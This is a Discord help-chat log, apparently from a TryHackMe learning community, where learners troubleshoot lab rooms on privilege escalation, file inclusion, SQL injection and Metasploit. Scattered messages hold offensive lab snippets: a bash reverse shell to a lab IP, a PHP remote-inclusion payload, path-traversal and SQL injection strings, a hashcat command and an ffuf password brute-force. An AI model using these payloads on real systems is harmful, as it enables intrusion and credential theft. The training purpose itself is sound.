#

or do we have to go throught the wildcard route?

#

use chmod to make the script executable

turbid patio
#

the part I stumbled up on is

#

just the one question

#

from memory (away from computer) the command that should end in > ls

#

No idea why it's not correct

#

even checked some write ups they all agree on the answer

#

you saw my forum reply then? dman

#

no wonder it's a ghost town everyone is here haha

#

I have 2manydiscord

prisma coral
#

Hello guys,
In Linux privilege escalation > Capstone challenge , i have a problem. I try to use a exploit from exploitDB but without success. Someone can help me to anderstand how i can make it work please ? (It is CVE-2017-1000253)

#

I have try to put the part between /** **/ in a file and execute it. And After, compile the exploit with : GCC exploit.c -O exploit. And run it

tranquil citrus
prisma coral
#

@tranquil citrus it is for escalation privilege of the linux box. Linux 3.10.0

#

And when i look the linux's version of this box, i find 3.10.0 too

golden harbor
#

hi all

median garden
#

@turbid patio my bad every one has a different schedule

#

@prisma coral did you get it

hidden kiln
#

hi guys, can i ask question to jr pentester path here , or i should put it on room_help only?

hidden kiln
#

task 3 question 4, walking an application, room

It ask to fetch flag from framework site. i have put the name of file and found. but it doesnt seem the flag.

flint yew
#

uhm which section is it?

#

got it sec

#

well, the flag is inside the zip file

#

double click or unpack it, there is a txt file

#

you find it inside

hidden kiln
#

so the task ask us to get to framework site, once you get to that. it give you path as tmp.zip
after going to that path.

the whole page shows one line thm stat** lab*
nothing else.

flint yew
#

ehm, no, you have to put the tmp.zip behind the target machine adress

hidden kiln
#

ohhh

#

alright.

#

got it .

#

thanks a lot xD

flint yew
#

yw ^^

hidden kiln
#

took me like half an hour to figure this shit out xD frustated xD

flint yew
#

well, the section is a bit strange, but the following ones are pretty cool

hidden kiln
#

i hope so xD
idk why they had to make it complicated sometime xD

flint yew
#

🤷‍♂️

turbid patio
#

i looked up writeups for task 9 in linuxprivesc and they all seem to say the same thing which didn't work for me

flint yew
turbid patio
#

echoing bin/bash to another command

#

to get root shell

#

oops dammit

#

its in the comp[lete beginner path

#

im an idiot haha

#

dont mine me

flint yew
#

ehm like piping? that would be like for example .. ls -al | grep "what you look for"

#

something like that?

turbid patio
#

nah like echo "/bin/bash" > YOURCOMMAND

#

sorry for slow replies, had to do some work

prime bay
#

To start the junior pentester path do i need to learn web development ?

#

I have completed pre security and introduction to cyber part and it's suggesting me to go for junior pentester path

gloomy snow
prime bay
#

I have gone with a few but i am not getting it

#

Yes I completed that

#

Both certificates i got

gloomy snow
#

It should be ok then. Go with this path

prime bay
#

Yeah but i am not able to understand it

#

So should I try first soc1

gloomy snow
#

Where are you stuck?

prime bay
#

Actually I am able to goo as they ask but technical way i can't think like by my own

gloomy snow
prime bay
#

While answering i sense where to find and i get it

#

Ohk so you mean while doing will get understanding

#

Like a bit bit

gloomy snow
#

Just take notes and if you still don't understand, google it. It happens to all of us

gloomy snow
prime bay
#

Yes cause I am even learning from Coursera like Google cyber security profesional one

#

I am gaining knowledge from as many parts i can

#

Cause I am non IT guy

#

Let see thanks a lot

hidden kiln
prime bay
#

Yes I am doing that right now

#

Thank you

tranquil citrus
prisma coral
#

@tranquil citrus hello 🙂 what do you mean?

covert sun
#

Hi guys, I'm stuck here
Looking at the page source of our Acme IT Support website (http://MACHINE_IP), you'll see a comment at the end of every page with a page load time and also a link to the framework's website, which is https://static-labs.tryhackme.cloud/sites/thm-web-framework. Let's take a look at that website. Viewing the documentation page gives us the path of the framework's administration portal, which gives us a flag if viewed on the Acme IT Support website.

Answer the questions below
What is the flag from the framework's administration portal?

dry briar
median garden
#

@turbid patio lol are u up?

#

tottaly different schedules lmao

#

@flint yew did you finish the priv esc?

#

@covert sun do you still need help??

covert sun
median garden
#

what module you on?

#

im in genreal vc if you want to hop in

covert sun
next lanceBOT
#

Gave +1 Rep to @median garden

median garden
#

np

median garden
#

anyone there that can help me?

steep ember
#

Joined tryhackme and on the junior penetration tester path. My question is how do y’all remember and track back to the previous modules and rooms you have done . I mean, my goal is not just only answer each question and clear rooms , get the certification to , ultimate goal is learning , digesting and make it part of me and never to forget . Any recommendations?

tranquil citrus
zealous dew
steep ember
next lanceBOT
#

Gave +1 Rep to @zealous dew

zealous dew
median garden
#

make notes in markdown and you can upload them to your github repo

#

you tlaking about the polkite exploit?

steep ember
turbid patio
#

@median garden yup.. however I do rotating shifts so we will probably line up some days

wild kelp
#

which book would every hacker read to know good things or most of it during hacking or pentesting

#

if u know pls let me know]

turbid patio
#

i doubt everyone would agree?

#

but there's one thing I reckon everyone should read

#

from Phrack 49, "Smashing The Stack For Fun And Profit"

#

I don't code in C at all and it's still really good

#

and I still refer to it every so often

median garden
#

Lmao

wet reef
#

hey, Im at Privilege Escalation: Cron Jobs and I finished the tasks without using a reverse shell, because I couldnt manage to establish one. I adjusted the backup.sh as shown in the room (exchanged host address to my atacker machine ip/port) and just nothing arrives at my listening server... any hints? i dont really wanna move on until I know how to get that reverse shell 8*( .... Or am I even supposed to find other ways than a reverse shell to finish the task? This way I would have done everything right I guess :-D

sage current
#

and tell shadow what is wrong

clever crown
steep ember
clever crown
median garden
#

@wet reef u on? Did you figure it out?

#

sadge

#

any night owls?

gloomy snow
somber shard
#

hello can u explain to me why we choosed four ../ in ../../../../etc/passwd

hidden kiln
#

hey guys, wd up.
i am in the last task of subdomain enumeration.
i m following the right IP and the command to find wordlist but not getting any response.
is ther something i am missing ?

somber shard
hidden kiln
somber shard
hidden kiln
#

what room is it ?

somber shard
#

task

#

4

hidden kiln
#

i didnt get to that yet sorry

somber shard
#

i get it dw

gloomy snow
gloomy snow
hidden kiln
#

i put that still no result

gloomy snow
#

Ah now I see, there is a error message after your command. It says that the file doesn't exist

#

the wordlist

hidden kiln
#

yeah it says such directory doesnt exist , so shoud i change anything ?

gloomy snow
#

Probably just that specific file doesn't exist in that directory

#

try with another wordlist

hidden kiln
#

can you guide me how can i do that ?

gloomy snow
#

are you using the AttackBox for that task?

hidden kiln
#

yes

gloomy snow
#

well it doesn't matter, I just checked and the "namelist.txt" should be on every machine

#

can you send a screenshot of the content of the DNS directory

hidden kiln
#

i m not able to find any directory lol

#

how could it be

gloomy snow
#

now the content of the wordlists directory

hidden kiln
gloomy snow
#

you're typing "worldlists"

hidden kiln
#

holy sss

gloomy snow
#

try again to see if it works

hidden kiln
#

same stuff

gloomy snow
#

do you have something in the wordlistsdirectory?

#

I would suggest to restart the AttackBox and try again

hidden kiln
#

there are files thou

gloomy snow
#

yeah I see, you're typing "SecLists" wrong

#

Man it took me so many screenshots to see the mistakes

hidden kiln
#

yes i figured that out xD

gloomy snow
#

use TAB to autocomplete

#

so you don't make those mistakes

hidden kiln
#

sorry man , let me run the main one then

#

actually i am not able to copy and paste to attachboxes and have to type manually

gloomy snow
#

yeah you can. On the left side of the screen there is a clipboard

#

You can paste it there and then to your attackbox

hidden kiln
#

ahan alright. thanks man, let me run it then

gloomy snow
#

that thing on the left is the control bar and there you have the clipboard also

hidden kiln
#

ya got it. thank you man

gloomy snow
#

np

modest arch
#

hello

#

i need help im in
pentest jr
room subdomaineemnumertion task 4

the command dnsrecon not work with me

wet reef
next lanceBOT
#

Gave +1 Rep to @sage current

wet reef
sage current
#

no problem and glad you could figure it out

modest arch
#

i need to click there ?

modest arch
covert kite
#

Hi, I'm in the Linux Privilege Escalation room currently and there's this cronjob part that just doesn't seem to work. Idk if its a bug but the cronjobs won't run properly for me

#
#!/bin/bash

bash -i >& /dev/tcp/10.10.199.192/1234 0>&1
sage current
#

and then tell shadow why it is not working

#

this is a good lesson to learn about a specific permission bit

covert kite
#

-rw-rw-r--

#

do i have to chmod?

sage current
#

can root run executables that are none excuatable??? the answer is no
how can you fix it??? yes chmod

covert kite
#

Ah okay thank you, I'ma try to make it executable and update you

sage current
#

good luck and have fun

covert kite
#

@sage current Thank you, this works for me!

next lanceBOT
#

Gave +1 Rep to @sage current

sage current
#

no problem

#

you just learnt a valuable lesson about linux file perms

#

it is a very very common thing to miss until you learn about it

covert kite
#

Yeah it went over my head totally

covert kite
#

o nm

slender dew
#

So im in the file inclusion room (https://tryhackme.com/room/fileinc#) trying to go the last challenge where you have to use an RCE and then an RFI to execute hostname. I've been on this for like two days, I know what I need to do I'm just trying to get it to work. Following walkthroughs as well and doing exactly what they say but I just can't get the output onto the website

Spoilers below:

||I'm currently running a python default web server and it's serving the file (which is also accessible from the public internet, i can access it from my main pc).

My current php payload looks like this (because the walkthrough i was going through put exactly this):

<?php
print exec('hostname');
?>

But I have also tried:

<?PHP print exec("hostname"); ?>

and

<? PHP print exec("hostname"); ?>

However, when put the url IP:PORT/cmd.txt (accessible from the public internet) into the search box on the website (but also the file parameter in the URL), it does not show anything in the content preview. I have tried looking at the network requests and going through all the html. I have also tried changing the extension on the file to .php and using a raw paste on pastebin

Does anyone know what I'm missing here?||

#

Looking at the output from the python server it doesnt look like the tryhackme server is actually sending a request

#

The current url im using is http://10.10.238.213/playground.php?file=http://34.251.5.186:8000/cmd.txt (but ive tried a bunch of variants such as without the protocol, using a different file extension after copying etc). And i know http://34.251.5.186:8000/cmd.txt works because i can access it from the public internet on my normal pc (im using a kali box on tryhackme for the hosting)

#

(all of these IPs are either the tryhackme machine or the tryhackme linux box)

#

Okay I've tried using shell_exec() as well but it also doesnt work, tried on the server and pastebin

#

i think the issue is that the backend for the website isn't making a request to the endpoint at all, since the IP address never shows in the logs of the python http server, only mine and the kali box's

#

im on /playground.php im like 99.9% sure this is the one with the RCI since I can add in remote files from the machine's server (i can put in the url for any of the labs into the playground page and have the PHP for that page inside the main page)

#

maybe there's an issue accepting traffic from IPs that aren't the machines?

#

im not sure, kinda want some input on this because im like pretty sure im wrong and this is designed to make you try a bunch of things before getting the right answer so

restive sage
slender dew
restive sage
#

The ip should be 10.10.x.y or 10.9.x.y

#

You are using the public ip. Try ifconfig and see the right ip there

steady sun
#

why does thm does not recommend "script kiddie"

slender dew
next lanceBOT
#

Gave +1 Rep to @restive sage

slender dew
# steady sun why does thm does not recommend "script kiddie"

if you mean as like a term in general, probably because it puts down people who are trying to learn

especially in hacking, you're gonna be using a lot of tools and automation, and a lot of times "script kiddie" is used for someone who doesn't know what they're actually doing and just using code snippets/tools they find online

so especially when you're learning hacking, calling someone a "script kiddie" can make them feel like they're not actually learning anything (and thm is a learning site and they don't want people to feel that way)

vast barn
#

Can anyone tell me how to crack this hash and salt with john?

hash: 0c01f4468bd75d7a84c7eb73846e8d96
salt: 1dac0d92e9fa6bb2
I already know it is a md5 where salt is before the hash.

I have tried commands without success... My file contains 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2.

I already know the password it's in the wordlist i provided, but cannot find a working command...

I found a hascat code that worked, but want to know how to do it with john:

hashcat -O -a 0 -m 20 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2 /usr/share/wordlists/rockyou.txt

steady sun
#

why is it taking forever?

neat hazel
#

-p- will scan all 65535 ports

steady sun
#

how long will it take

neat hazel
#

some longer time for sure

#

like 15ish min or more depend

steady sun
#

psyDuck ah okay

restive sage
steady sun
#

😭 its actually taking forever now

neat hazel
#

might better without -p- then

steady sun
#

lemme give it a try

neat hazel
#

and put -vv at the end

steady sun
#

gotcha

#

😔 its showing me only 5 ports after scanning, but i can tell by the question there is more than 5, s i think im gonna re scan it with -p-

neat hazel
#

can you pls link the room that you doing

steady sun
neat hazel
#

then try with -p- and also leave -vv at the end

steady sun
#

okay gotcha

clever crown
steady sun
clever crown
#

Well, you can list open ports first then do

nmap -sVC -p xx,xx,xx,xx,xx,xx -T4 -Pn $IP -vv

That will be faster, i think

steady sun
#

min-rate flag was helpful

#

I ran this and i got the output nmap -sC -sV --min-rate=1000 -p- 10.10.65.225 -vv

neat hazel
#

10000 not 1000

clever crown
#

Nc ^

summer gorge
low moat
#

Try this:

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u {Machine_IP}

summer gorge
#

hmm, for me the list is SecList, lowercase is not existent in my AttackBox. I now seem to have other issues. I wanted to terminate the target machine, it says it was terminated, but it is not. So, it may be the target that's acting up. Looking for help on how to force target shutdown. I appreciate the response!

gloomy snow
amber scarab
# steady sun how long will it take

you can add --stats-every= to have it print an update to the terminal at certain intervals to see how it is progressing. I'm impatient so I use this all the time with --stats-every=5s you can also push any key to get it to print a short update showing what % is done etc

digital cape
#

Linux Privilege Escalation - Task 10 - Subtask 2 - Hint
"You can add the writable directory to your user's PATH and create a file named "thm" that the "./test" executable will read. The "thm" file can simply be a "cat" command that will read the flag file."
What does this even mean? I can create a file called thm that the ./test exe will read? What does that mean? It doesn't read anything. Then you can change the thm file to a cat command how what is the hint talking about bro? What is the stupid thm got to do with that at?

#
karen@ip-10-10-214-1:/home/murdoch$ ./test thm
sh: 1: thm: Permission denied

My guy what do you mean?!!?!?

#

It aint reading anything.

#

I've already added ||/home/murdoch|| to the path but now what?

#

Solved it, I got the machine all confused:
I was in a bash shell that couldn't run the ./test file correctly, this is wrong here -> karen@ip-10-10-214-1:/home/murdoch$

true charm
#

i think that capstone challenge room is not working
I am trying to ssh but it is going on time out

#

┌──(parallels㉿kali-linux-2022-2)-[~] └─$ sudo ssh leonard@10.10.201.246 ssh: connect to host 10.10.201.246 port 22: Connection timed out

#

working now

real shard
#

Hey there, for the boolean sqli task, it tells you to keep trying admin123 UNION SELECT 1,2,3 where database() like '%';-- with different letters added in front of the % until you get the full database name.
Is there a way of telling that you have reached the end of the database name besides none of the possible characters returning true?

tranquil citrus
real shard
#

that part is irrelevant for the task, it's written in the task description to just keep using it 🙂

real shard
# tranquil citrus Why fo you think username will be admin123?

The first part is wrong so that with the help of the union statement, the second part has to be true in order to return true. With that, we can start to figure out the correct payload for the task. That's why we chose admin123 deliberately because we know it is wrong.

restive sage
#

You can try “where database() = ‘yourguess’; — “ and if it returns something you know it was the full name

#

@real shard

real shard
#

Hm, okay. Thanks for the reply 🙂

real shard
#

Another thing, for Burp Suite: The Basics on Task 7, question 3.
I know where the "Updates" sub-category is, but the base category for that does not seem to be the correct answer?

sage current
#

yeah things have changed so that room probably needs an update

real shard
#

Thing is, the solutions I found online used where it is for me as the answer. But apparently that is wrong, since the question expects a 5 character answer.
Kinda bugged by this, I don't like seeing it not solved :^)

real shard
#

Oh, thankfully you can see the correct answer in the screenshot of that task at least 😄

low moat
#

Hi, im doing task 3 of file inclusion challenges, and I'm stuck at it. I had no idea how to complete so looked it up on youtube and on this discord and noticed many using this: curl -X POST {IP} -d 'method=POST&file=../../../../etc/flag3%00' --output - . Can someone explain how this works? In particular the method part, where does this come from?

restive sage
#

what is important is the -X POST, sending a POST request instead of a GET in this challenge makes the request go through

low moat
#

I see thanks

low moat
#

nvm got it

rotund warren
#

hello everyone, I wanted to know why the gcc line didn't work when you put any words (exploit, ...) and as soon as you put pwned instead it works. It's in the room: Linux Privilege Escalation part: Privilege Escalation: Kernel Exploits. Thanks in advance

trim cloud
#

That error message implies you somehow typed a non-printable between the - and the o the first time, did you type some kind of Unicode - or maybe paste it somehow? Basically it didn’t get the -o correctly so the command line parser treated ‘exploit’ as an input file instead of an output file, and the file ‘exploit’ didn’t exist to read.

steel harbor
#

Hi all, i did the metasploit module and i have a question. I did the ms17 exploit with the attack box, working well. I did the same with my own VM and the VPN THM. the exploit start well conencting to the targer, exploiting but the reverse did not work. How can i tell to msf that i want to use the interface tun01

final garden
trim cloud
#

you can set LHOST to an interface name. That exploit seems to get flakier with high ping.

final garden
#

You can use directly the interface as a parameter, for example set lhost tun0

steel harbor
#

ok i did it with the IP does not work, will try with TUN0

#

same thing waiting sending all but last fragement of exploit packet

final garden
#

If you did not restart the machine from the last time you exploited it, is possible to not work because of this. The exploits from metasploit are not working all the time, even if the target is vulnerable

steel harbor
#

i have two screen on with the local attack machine working fine and an other with a virtual box vm, maybe it is because of the interfaces in virtualbox

#

or the fw in place in my office

final garden
#

So if you are using both Attack Box and your own vm in the same time, I think if you already exploit the machine with the Attack Box, a second exploit could not work. Try restarting it and use just your vm.

steel harbor
#

ABdy i did that i'm pretty sure now that i'm not allowed to use the 4444 to go out

final garden
#

If the port is already used, yeah, you have to set other for a session

steel harbor
#

i changed to lport 443

#

restart the vuln machine

final garden
#

Is working now?

steel harbor
#

waiting for the vuln machien IP 🙂

#

not working but it's better

#

now i have a permission denied to bind to ip:443

trim cloud
#

You need root perms to bind to port 443.

steel harbor
#

that's it

#

working fine with root

#

that was because of lport (4444) not allowed

#

tks a lot for your help

next lanceBOT
#

Gave +1 Rep to @trim cloud

brisk hollow
#

In the vulnerability capstone challenge, got a rev shell using exploit.py.
When connecting to local machine via nc local_ip local_port connection succeeded but commands didn't seem to work

#

why is this happening ?

trim cloud
#

It's probably something like 'whatever command you ran for the revshell actually connected but the input or output of the shell is not actually connected correctly'.

#

e.g. the io redirections on a bash one-liner not being exactly correct, or the exact version of whatever utility used is the wrong version to support something, etc.

brisk hollow
#

what might be done in this case ?

trim cloud
#

I don't think you actually need a full reverse shell to get the flag for that room.

#

Take that and run with it? 🙂

brisk hollow
#

it returns "system" for every command executed

trim cloud
#

if you're using the same exploit I used, that's because it doesn't actually really parse out the command result very well. But you have the script, you can modify it.

brisk hollow
#

alright, thanks @trim cloud

next lanceBOT
#

Gave +1 Rep to @trim cloud

next lanceBOT
#

Gave +1 Rep to @amber scarab

mellow copper
#

Hey I have a quick question. I am in the third part of walking a web application and the Question asks, What is the directory listing flag? I have been here for about an hour before I started to seek help.|| One site advised to type in assets after the url from the home page, and they got it from inspecting the view source code, but when I read it, I would have never thought to just type in assets after the url. Intuitively, I would have typed the entire thing out, in which I did to see what it gave me, and it only displayed the css code. But when I just typed in the url with /assets as the end, it gave me the directory path, which ultimately led me to get my answer. How would I have known to type that in? or is that common, where you would only look for assets or type the first word of the href stored link? I hope that makes sense.||

trim cloud
# mellow copper Hey I have a quick question. I am in the third part of walking a web application...

Trying to think of how to explain this. 🙂 || If we're looking at plain web server that is serving completely static content from a filesystem, the paths in the URL always match up to a path in the filesystem. So if you have a url that is http://TARGET_IP/images/somefilename -> that tells you that there might be a directory named images and you can try to request it with http://TARGET_IP/images/ ||

#

So really it's just about || 'let's pick apart the url path and try to request things and see if things are actually there'||

#

||Now, it is not always the case that a server will serve from a fileystem and that the URLs will map to filesystem paths - a lot of the REST-style apps being built today are just a handler and some code that routes things to that handler -> but even if you are poking at an app like that, the fact that you have a url like http://TARGET_IP/some/long/pathway/to/something tells you that there might be something at any place you cut the '/', if that makes sense (e.g. you might want to poke at http://TARGET_IP/some/long/pathway and see what you get back, or http://TARGET_IP/some/long/, etc.)||

digital cape
#

Done

tranquil citrus
#

@prime tree, I'm sure upper message requires mod team intrusion

trim cloud
tranquil citrus
trim cloud
next lanceBOT
#

Gave +1 Rep to @tranquil citrus

trim cloud
#

Just joined the other day and got paranoia that I was unintentionally doing something wrong.

iron arch
#

Good day all! wrapping the Acmeitsupportv10 room (Developer Tools - Network). and it is not accepting the flag found in the response.. Any suggestions?

#

disregard... found the real flag.. LMAO

solemn mural
#

is there anyone can study with me?

tranquil citrus
#

Wdym?

prime bay
#

Junior-pentester-path is tuff cause I am not a developer is it the reason or its just for over view like somepart from logical way I can do but some I have to go to youtube to understand

#

File inclusion part was tuff for me cause I don't know php and curl so should I study that first then continue or just go forward

modest arch
prime bay
#

Yes burp suite is more further like few more left tasks to complete after that it is there

#

And even if I am trying to learn soc 1 then to this few paths are in there after that only I can move further

#

I am just getting concepts at the moment let see where it takes cause I am non IT person that's the reason I guess I am feeling tuff trying to switch carrier so let see thanks a lot @modest arch

next lanceBOT
#

Gave +1 Rep to @young spade

tranquil citrus
prime bay
#

It wasn't python the file inclusion part was php and as for dev I am just worried like I think to break I need to know how it's made and thanks a lot @tranquil citrus I am also learning form course cybersecurity professional one in coursera there is python once I learn might help

next lanceBOT
#

Gave +1 Rep to @tranquil citrus

tranquil citrus
prime bay
#

Yes

jolly hill
flint yew
jolly hill
#

The Acme IT support page?

jolly hill
#

Oh wait nvm I just found lol. Thanks!

flint yew
#

yw ^^

wooden temple
#

anyone here to pick at their brains? im stuck -_-

sage current
#

step one get some oil

#

step two oil stuck part

wooden temple
#

JR Pen> Metasploit>Exploits> Task 5

sage current
#

step three fly out of stuck

wooden temple
#

hahah

sage current
#

okay on a more serious note what are you not getting???

wooden temple
#

so im trying to run my exploit....

#

and it fails in metasploit

#

my target host and my local host is all good

#

not sure whats going on ive even checked out some vids on youtube and im doing everything right is seems?

sage current
#

can you run show options in metasploit and show a screenshot of what it outputs???

modest arch
#

the payload has to match msfvenom

wooden temple
#

ohhh maybe thats whats happening!

modest arch
#

yep ive been dealing with this for 2 days

#

try setting payload first, then set multihandler and then set payload again

wooden temple
#

what the heck is the multihandler? lol

sage current
#

and it is not relevant to task 5

wooden temple
#

let me get a screenshot and send it over @sage current

modest arch
#

try using the attackbox, it might be failing on the vpn which often times happens

wooden temple
#

im kind of thinking thats whats happening... my local host was set to some thing different originally so i changed that accordingly, but im sort of stumped

#

im pretty sure im using the right vuln ... everything seems good, target host, lhost etc etc

#

when i enter: ifconfig everything seems good as well

#

ill try the attackbox and see if i can get it to work in there... @sage current if you have any other recommendations i appreciate that

#

thanks yall 🫡

sage current
#

you might need to restart the target machine as eternal blue can cause it to crash if you are unlucky

#

but your settings seems correct

wooden temple
#

yeah i should try that too. ill update here in a few. fingers crossed

#

im in TY ❤️

wooden temple
#

thanks @sage current

next lanceBOT
#

Gave +1 Rep to @sage current

sage current
#

no problem

#

+rep @modest arch

next lanceBOT
#

Gave +1 Rep to @young spade

wooden temple
#

@sage current i sent you a private msg can you check ? noob question

sage current
#

yes generally

modest arch
#

Hello all. Just doing the Net Sec Challenge and the final question, no matter what scan I do, the web site doesn't display a message

#

Was doing it from my Kali machine, then tried the Attack Box and still nothing.

modest arch
#

No worries. Shut everything down and tried again on attack box and it worked.

gleaming crane
#

Hello everyone 🙂 I have problem with SQL injection in part Burp Suite: Repeater task 8
I wanted to go time based sql injection so i tried

GET /about/2 UNION SELECT sleep(8),2,3,4,5 ;--

and it works, then i tried

GET /about/2 UNION SELECT sleep(8),2,3,4,5 WHERE database() LIKE 'p%' ;--

And no character works for that😞 i tried alphabet and numbers

somber shard
#

hello guys can anyone of you explain to me how can i get the table_name or how can i know that the variable has name as table_name in SQL injection room !!!

#

and after it changed to columns_name how did he know that the variable has these names

gleaming crane
next lanceBOT
#

Gave +1 Rep to @gleaming crane

soft latch
#

Why does my traceroute results on tryhackme.com show only 10 hops & I have seen in others that they get 14 at once & also 28 hops?

tranquil citrus
manic cairn
#

"A popular tool for Blind XSS attacks is xsshunter. Although it's possible to make your own tool in JavaScript, this tool will automatically capture cookies, URLs, page contents and more."

XSSHunter is now deprecated.

subtle dawn
#

Someone help in Authentication Bypass module task 2

#

getting this error using attack box

#

Nvm got it

#

task 3 didnt find any passwd

neat hazel
#

what usernames you have in valid usernames file

subtle dawn
#

admin
robert
simon
steve

#

But I got it thanks I had separated them by enumerating them for some organization reason so I took them out and rotated them again and it worked

neat hazel
#

great

loud oracle
#

Hey guys just got some question,how to access VM with OpenVPN ?

tiny bluffBOT
remote iris
#

There is an easy room telling you the steps.

loud oracle
remote iris
manic cairn
remote iris
next lanceBOT
#

Gave +1 Rep to @manic cairn

manic cairn
next lanceBOT
#

Gave +1 Rep to @manic cairn

manic cairn
#

@remote iris picture says v2, its currently in v3

#

small thing but looks nicer if its accurate

loud oracle
#

hey guys idk why but with scope enable and stuff like that,the new endpoints dont show up i think

#

Cans share images ?

remote iris
#

!docs verify

tiny bluffBOT
rustic socket
#

hello is anyone here free to shed me some light of my confusion and question in metasploit in voice?

slim flax
#

guys i cant find seclists in the dir,

remote iris
#

Try just typing seclists

slim flax
#

yes i did still the same result

remote iris
#

Are you on the attackbox or a VM?

slim flax
#

i tried tab and checked it seems its not there

#

im using VM

#

do i need to install seclists?

remote iris
#

Yeah

#

Kali?

slim flax
#

but im getting 404 if i try install

remote iris
#

Are you on Kali Linux?

slim flax
#

yes i tried sudo apt install seclists and its doing some install

#

is that the right command?

remote iris
#

apt -y install seclists

slim flax
#

thank you @remote iris life saver

next lanceBOT
#

Gave +1 Rep to @golden socket

subtle dawn
#

file inclusion room task 4: already read the /etc/passwd but didnt find the flag

subtle dawn
#

Nvm it is just in my face

rocky chasm
#

Hello am new here

#

Thanks

#

so how does it work here

brisk hollow
rocky chasm
#

Explain to me, what is it that I don't quite understand?

hard vortex
#

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/login -fc 200
this is the command given to find a password from a table.
However, the command for some reason doesn't work. I know how to fix it and did (it's replacing W1 with the usernames manually), but I don't get why the original doesn't function. The File exists and the command is run, but the output is instant and in the form of a single errored find

#

Auth bypass room; task 3

hard vortex
#

Machine IP obviously replaced with the actual ip

mortal stone
hard vortex
#

Yeah I did

#

Only names in there

#

I also asked others and they encountered the same problem

neat hazel
#

can you pls share room ip

#

@hard vortex

hard vortex
#

I think it was 10.10.139. smt

#

Lemme check in like 5 mins

neat hazel
#

the ffuf have issue with capitalisation. try replace SecList with seclist

hard vortex
#

nah it's not that

#

that gives a file not found error

#

already found that out xD

#

ahh no image perms

neat hazel
#

/usr/share/seclists/Usernames/Names/...

hard vortex
#

10.10.109.87 it is now

neat hazel
#

!docs verify

tiny bluffBOT
neat hazel
#

to post pics

hard vortex
#

wait I'm stupid, by room IP do you mean the one in the green round box or machine info?

neat hazel
#

not you vpn ip. the room ip yea. target

#

if that is you vpn ip might be ok to delete it

hard vortex
#

although as I said, it changed from before I'm pretty sure

neat hazel
#

one sec

#

try this /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt

hard vortex
#

no such file or directory

neat hazel
#

hmm one sec

#

you use kali in VM or?

hard vortex
#

attack box

neat hazel
#

ahaa. hmm.. then im not sure where seclist is installed

hard vortex
#

alrighty then I restarted the website (logged out and logged back in, restarted vm), did the command again and now it worked

#

very interesting

neat hazel
#

lol

#

hehe

hard vortex
#

the error is different

neat hazel
#

might be some small issue or smth. but if worked that is great

hard vortex
#

also before there was no error, just this:
:: Progress: [300/300] :: Job [1/1] 0 req/sec :: Duration [0:00:00] :: Error

#

that was the only output before

#

ah well, this work now ig

neat hazel
#

weird...

#

but yea. nice that work now

hard vortex
#

👍

#

ty for the help

neat hazel
#

np. glad to help

sharp vessel
#

Hi... I'm having trouble with the Metasploit Meterpreter room. I'm unable to use any payload to get a meterpreter. I'm using the provided username and password as SMBUser and SMBPass, and exploit windows/smb/psexec. What am I doing wrong?

neat hazel
#

!docs verify

tiny bluffBOT
neat hazel
#

to post pic. might be helpful

sharp vessel
#

Thanks!

neat hazel
#

one sec. let me try

#

hmm. got the same issue

sharp vessel
#

so it's a problem with the machine?

neat hazel
#

try to restart machine yea

sharp vessel
next lanceBOT
#

Gave +1 Rep to @neat hazel

neat hazel
#

i try again and worked after few try

neat hazel
sharp vessel
neat hazel
#

payload can be issue. since is windows machine it can get bonked so it dosnt work. restarting help

sharp vessel
#

yeah, had another room where I had to go through 10-20 payloads to find one that worked

neat hazel
#

yea. that can help in try and error phase. then you can check writeups to help

modest arch
#

Hey, are there more information on how to actually find IDORs in JavaScript files ?

idle bison
modest arch
#

But I'd like to dig deeper, as I'm not sure I completely get where/how to find IDOR when the URL aren't vulnerable

idle bison
#

If the application is doing it safely, there will be checks before you're able to access an item, authorisation checks
These should be bsed on session cookies, JWTs, or something else that can't be tampered with by the user

#

Authorisation checks are a huge part of security and web application testing, authorisation flaws are extremely common

modest arch
#

Oh okay, thanks a lot. When testing authentication, cookies always comme in place?

idle bison
#

Not always, there's quite a lot of ways applications can implement authentication

#

There's HTTP Authentication with Basic Auth, or Digest Auth etc.
There's also JWTs
Between those, those are the really common ones

#

Also it's important to be careful about the difference between authentication and authorisation

#

Authentication is checking who you are, authorisation is checking what you're allowed to do

modest arch
#

Ahhh okay, thank you. I'm still a bit lost when speaking about the inner-working of web apps

#

I used to make several websites using Python & Django, but the authentication process was always "automated" by Django. I had nothing to do except writing forms and handling POST data.

idle bison
modest arch
#

Ahhh

For example, attackers can look at places where user specific data is retrieved (e.g. search screens) and determine whether the key for the item being looked up is controllable externally. The key may be a hidden field in the HTML form field, might be passed as a URL parameter or as an unencrypted cookie variable, then in each of these cases it will be possible to tamper with the key value. 

So how should we define an IDOR attack, then?

idle bison
#

It's not just relying on some information the client provided, that's a much wider issue

modest arch
#

It's more of an anthorization bypass rather than just exploiting cookies or urls, then?

idle bison
#

Not neccesarily a bypass

modest arch
#

You identify as another user to retrieve data

idle bison
#

Not neccesarily

#

If I change the number for something in a URL, that doesn't mean I'm presenting myself as a different user

idle bison
modest arch
#

Oh yes sorry I'm mistaking them. So it's not a matter of authentication but authorisation

#

So you exploit poorly configured authorisation basically?

idle bison
#

Yep, that's why OWASP describe it as BOLA instead of IDOR

#

Broken Object Level Authorisation

idle bison
modest arch
#

Ahaha sorry, I'm really still a noob in the field

idle bison
#

THM is good but I would also recommend Portswigger Academy along with a good amount of external reading. Stick to trusted sources, OWASP put out some really good stuff